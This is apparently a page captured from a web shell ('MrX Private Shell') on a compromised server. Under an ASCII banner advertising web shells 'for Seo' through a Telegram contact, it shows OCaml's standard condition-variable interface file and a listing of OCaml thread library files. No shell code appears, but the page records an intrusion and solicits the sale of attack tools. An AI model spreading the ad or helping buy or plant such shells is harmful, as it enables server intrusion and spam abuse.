__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
(**************************************************************************)
(* *)
(* OCaml *)
(* *)
(* Xavier Leroy and Damien Doligez, INRIA Rocquencourt *)
(* *)
(* Copyright 1996 Institut National de Recherche en Informatique et *)
(* en Automatique. *)
(* *)
(* All rights reserved. This file is distributed under the terms of *)
(* the GNU Lesser General Public License version 2.1, with the *)
(* special exception on linking described in the file LICENSE. *)
(* *)
(**************************************************************************)
(** Condition variables to synchronize between threads.
Condition variables are used when one thread wants to wait until another
thread has finished doing something: the former thread ``waits'' on the
condition variable, the latter thread ``signals'' the condition when it
is done. Condition variables should always be protected by a mutex.
The typical use is (if [D] is a shared data structure, [m] its mutex,
and [c] is a condition variable):
{[
Mutex.lock m;
while (* some predicate P over D is not satisfied *) do
Condition.wait c m
done;
(* Modify D *)
if (* the predicate P over D is now satisfied *) then Condition.signal c;
Mutex.unlock m
]}
*)
type t
(** The type of condition variables. *)
val create : unit -> t
(** Return a new condition variable. *)
val wait : t -> Mutex.t -> unit
(** [wait c m] atomically unlocks the mutex [m] and suspends the
calling process on the condition variable [c]. The process will
restart after the condition variable [c] has been signalled.
The mutex [m] is locked again before [wait] returns. *)
val signal : t -> unit
(** [signal c] restarts one of the processes waiting on the
condition variable [c]. *)
val broadcast : t -> unit
(** [broadcast c] restarts all processes waiting on the
condition variable [c]. *)
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| condition.cmi | File | 540 B | 0644 |
|
| condition.mli | File | 2.36 KB | 0644 |
|
| event.cmi | File | 1.22 KB | 0644 |
|
| event.mli | File | 3.66 KB | 0644 |
|
| libvmthreads.a | File | 19.64 KB | 0644 |
|
| mutex.cmi | File | 474 B | 0644 |
|
| mutex.mli | File | 2.09 KB | 0644 |
|
| stdlib.cma | File | 2.3 MB | 0644 |
|
| thread.cmi | File | 1.91 KB | 0644 |
|
| thread.mli | File | 6.01 KB | 0644 |
|
| threadUnix.cmi | File | 6.06 KB | 0644 |
|
| threadUnix.mli | File | 4.3 KB | 0644 |
|
| threads.cma | File | 66.39 KB | 0644 |
|
| unix.cma | File | 160.98 KB | 0644 |
|